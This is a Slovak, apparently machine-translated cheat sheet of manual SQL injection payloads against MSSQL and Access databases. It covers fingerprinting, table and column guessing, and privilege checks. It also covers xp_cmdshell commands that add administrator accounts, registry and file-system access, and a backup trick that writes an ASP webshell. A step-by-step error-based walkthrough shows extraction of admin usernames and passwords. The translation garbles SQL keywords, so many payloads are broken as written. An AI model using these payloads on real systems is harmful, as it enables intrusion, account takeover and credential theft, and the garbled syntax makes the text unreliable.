1. Určiť, či existuje injekcia ; a 1=1 ; a 1=2
2. Predbežné rozhodnutie, či ide o mssql ; a user>0
3. Posúdiť databázový systém ; a (vyberte count(*) zo sysobjects)>0 mssql ; a (vyberte count(*) z msysobjects)>0 prístup
4. Parameter injekcie je znak 'a [kritériá dotazu] a ''='
5. Počas vyhľadávania nie sú žiadne filtrované parametre 'a [kritériá dotazu] a '%25'='
6. Uhádni názov stola ; a (vyberte Count(*) z [názov tabuľky])>0
7. Hádať pole ; a (vyberte Count(field name) z názvu tabuľky)>0
8. Hádať dĺžku záznamu v poli ; a (vyberte top 1 len(názov poľa) z názvu tabuľky)>0
9. (1) Uhádnite ASCII hodnotu poľa (prístup) ; a (vyberte top 1 ASC(mid(field name, 1,1)) z názvu tabuľky)>0
(2) Uhádnite ASCII hodnotu poľa (mssql) ; a (vyberte top 1 unicode(substring(field name,1,1)) z názvu tabuľky)>0
10. Štruktúra testovacích povolení (mssql) ; a 1=(vybrať IS_SRVROLEMEMBER('sysadmin')); -- ; a 1=(vybrať IS_SRVROLEMEMBER('serveradmin')); -- ; a 1=(vybrať IS_SRVROLEMEMBER('setupadmin')); -- ; a 1=(vybrať IS_SRVROLEMEMBER('securityadmin')); -- ; a 1=(vybrať IS_SRVROLEMEMBER('diskadmin')); -- ; a 1=(vybrať IS_SRVROLEMEMBER('bulkadmin')); -- ; a 1=(vybrať IS_MEMBER('db_owner')); --
11. Pridať účet pre mssql a systém ; exec master.dbo.sp_addlogin používateľské meno; -- ; exec master.dbo.sp_password null, používateľské meno, heslo; -- ; exec master.dbo.sp_addsrvrolemember používateľské meno správcu systému; -- ; exec master.dbo.xp_cmdshell 'net používateľské meno, heslo /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; exec master.dbo.xp_cmdshell 'net používateľské meno, heslo /add'; -- ; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; --
12. (1) Prejdite katalóg ; Create table dirs(paths varchar(100), id int) ; Insert Dirs Exec master.dbo.xp_dirtree 'c:\' ; a (vyberte top 1 cesty z dirs)>0 ; a (vyberte top 1 ciest z dirs, kde cesty nie sú v ('cesty získané z predchádzajúceho kroku'))>)
(2) Prechádzať katalógom ; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; vložte dočasný výkonný master.dbo.xp_availablemedia; -- Získajte všetky prúdové pohony ; vlož do temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Získajte zoznam podadresárov ; vlož do temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Získajte štruktúru adresárov pre všetky podadresáre ; vložiť do temp(id) exec master.dbo.xp_cmdshell 'napíš c:\web\index.asp'; -- Zobraziť obsah súboru
13. Uložené procedúry v mssql xp_regenumvalues Koreňový kľúč registra, detský kľúč ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' vracia všetky kľúčové hodnoty vo viacerých súboroch záznamov xp_regread Koreňový kľúč, podkľúčený kľúč, meno kľúč-hodnota ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' vráti hodnotu kľúča set xp_regwrite koreňový kľúč, podkľúčený kľúč, názov hodnoty, typ hodnoty, hodnota Existujú dva typy hodnôt REG_SZ REG_DWORD pre typy znakov a pre celé čísla ; exec xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' do registra xp_regdeletevalue Koreňový kľúč, podkľúč, názov hodnoty exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' na odstránenie hodnoty xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' na odstránenie kľúča vrátane všetkých hodnôt pod týmto kľúčom
14. MSSQL záloha vytvára webshell Použitie modelu create table cmd (str image); vložte do hodnôt cmd(str) ('<% Dim oScript %>'); záložný databázový model na disk='c:\l.asp';
15. Vstavané funkcie MSSQL ; a (vyberte @@version)>0 na získanie čísla verzie Windows ; a user_name()='dbo' na určenie, či je pripojený používateľ aktuálneho systému SA ; a (vybrať user_name()>0 Vybuchlo pripojených používateľov aktuálneho systému ; a (vyberte db_name()>0 pre získanie aktuálne pripojenej databázy
Porušenie ručne anotovanej databázy MSSQL
1. Zobraziť aktuálny názov tabuľky a názov stĺpca Odošlite "'having 1=1--" za injekčným bodom, aby ste dostali návratovú správu v angličtine, kde vidíte názov tabuľky a názov stĺpca. Odošlite "group by the list name have 1=1--" na získanie ďalšieho názvu stĺpca; Pokračujte v zadávaní "zoskupte podľa zoznamu názvu vystavenej tabuľky, názvu odkrytej tabuľky. Názov druhého stĺpca má 1=1--", čo vám dá ďalšie meno stĺpca. Commitujte rovnakým spôsobom, kým stránka nevráti chybové hlásenia, aby ste získali všetky názvy stĺpcov. Zaujímavosti: Násilné názvy tabuliek a stĺpcov sa používajú v kombinácii s GROUP BY v SQL príkazoch na podmienené hodnotenia. Keďže príkaz nie je úplný, databáza vráti chybové hlásenie a zobrazí názov tabuľky a názov stĺpca. Základná metóda dokáže v databáze sprístupniť len aktuálnu tabuľku, a ak tabuľka obsahuje veľa názvov stĺpcov, je veľmi ťažké použiť základnú metódu.
Najprv. Všetky názvy databáz sú odhalené Použite príkaz "and 0<>(select count(*) z master.dbo.sysdatabases where name>1 and dbid=[N])" na zobrazenie ľubovoľných názvov tabuliek a stĺpcov v databáze, kde "[N]" predstavuje N-tú tabuľku v databáze. Krok 1: Po injektovaní bodu odošlite nasledujúce vyhlásenie: "and 0<>(select count(*) z master.dbo.sysdatabases where name>1 and dbid=12)", pretože hodnota dbid je od 1 do 5, ktorú systém používa, takže používateľ ju musel vytvoriť z 6 a my sme zadali meno>1, pole mena je pole typu znaku a porovnanie čísel bude nesprávne, takže po odoslaní IE vráti nasledujúce informácie: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] konvertuje hodnotu nvarchar 'Northwind' na dátový typ int stĺpček. Týmto spôsobom sa hodnota poľa s názvom odhalí, teda získame názov databázy "Northwind". Zmenou hodnoty "dbid" sa získajú všetky názvy databáz.
a 0<>(vyberte count(*) z master.dbo.sysdatabases, kde meno>1 a dbid=[N])-- Upraviť N tak, aby sa všetky názvy databáz zničili zo 6
Po druhé. Zobraziť všetky názvy tabuliek v zadanej databáze Po získaní názvu databázy je potrebné získať všetky názvy tabuliek v knižnici, odoslať nasledujúce vyhlásenie: "and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U')", tu je názov tabuľky v hlavnej databáze a SQL príkaz dotazu vráti hodnotu mena, a potom ju porovnať s číslom 0, aby bola hodnota názvu vystavená. Po odovzdaní sa názov stola "'spt_monito" odhalil. Potom sú ostatné tabuľky vystavené a nasledujúci príkaz je odoslaný: "and 0<>(vyberte top 1 meno z master.dbo.sysobjects, kde xtype='U' a meno nie in('spt_monito'))", a ďalšia tabuľka s názvom "cd512" je vystavená. Súbor "and name not in(' spt_monito',' CD512',..))" Môžete zistiť všetky názvy stolov.
a 0<>(vyberte najvyššie 1 meno z [uveďte názov databázy].dbo.sysobjects, kde xtype='U')-- a 0<>(vyberte top 1 meno z [uveď názov databázy].dbo.sysobjects, kde xtype='U' a meno nie je v('[Exploded table name]'))-- a 0<>(vyberte top 1 názov z [špecifikovať názov databázy].dbo.sysobjects, kde xtype='U' a meno nie je v('[Explosive table name]', '[Exploded second table name]')))--
4. Zobraziť všetky názvy stĺpcov v zadanej tabuľke a 0<>(vyberte count(*) z bbs.dbo.sysobjects, kde xtype='U' a meno='admin' a uid>(str(id))) Preveďte hodnotu ID na typ znaku a potom ju porovnajte s celočíselnou hodnotou. Identifikačné číslo je vonku. Hodnota je: 949578421 meno='názov tabuľky'
a 0<>(vyberte top 1 meno z wutong.dbo.syscolumns, kde id=949578421)-- Názov poľa v administrátorskej tabuľke je odhalený
Znovu odošlite a 0<>(vyberte top 1 meno z wutong.dbo.syscolumns, kde id=949578421 a meno nie je v ('adduser')))-- Súbor "and name not in(' spt_monito',' CD512',..))" Všetky názvy polí nájdete v administratívnej tabuľke.
a 0<>(vyberte count(*) z [špecifikovať názov databázy].dbo.sysobjects, kde xtype='U' a meno='[Názov tabuľky poľa, ktoré má byť explodované]' a uid>(str(id)))--ID hodnota názvu tabuľky poľa, ktoré má byť explodované
a 0<>(vyberte top 1 meno z [specify database name].dbo.syscolumns where id=exploded id value)-- Názov poľa v tabuľke hodnôt explodujúcich id
a 0<>(vyberte najvyššie 1 meno z [uveďte názov databázy].dbo.syscolumns, kde id=hodnota explozivného ID a názov nie je v('[Explodované pole meno]'))--
5. Čítajte údaje v zadanej tabuľke
a 0<(vyberte A_ID z wutong.dbo.admin, kde A_UserID>1) – obsah, ktorý rozbil A_PWD
a 0<(vyberte [pole, ktoré existuje] z [uveďte názov databázy].dbo.[názov tabuľky na dotaz], kde [názov poľa na explodovanie obsahu]>1)--
a 0<(vyberte A_ID z wutong.dbo.admin, kde A_PWD>1 a A_UserID='admin')-- Heslo admina je odhalené
a 0<(Vyberte Top 1 A_UserID OD administrátora, kde A_ID<>1)-- Administrátorské meno id<>1 (fuhao)
a 0<(Vyberte Top 1 A_UserID OD administrátora, kde A_ID <>1 a A_UserID <> 'fuhao')-- Meno druhého administrátora <> nie je (tuiguang)
a 0<(Vyberte Top 1 A_UserID OD administrátora, kde A_ID <>1 a A_UserID <> 'fuhao' a A_UserID <> 'tuiguang')--
Po poznaní názvu tabuľky a názvu stĺpca databázy môžete použiť "query príkaz" na čítanie akýchkoľvek informácií v databáze. Napríklad, ak chcete čítať N-té dáta v stĺpci v tabuľke, môžete zadať príkaz: "and (Vyberte názov Top 1 stĺpca Z názvu tabuľky, kde id=[N])>1" ([N] predstavuje N-té dáta v stĺpci) a môžete zistiť požadované údaje z informácií vrátených IE.
|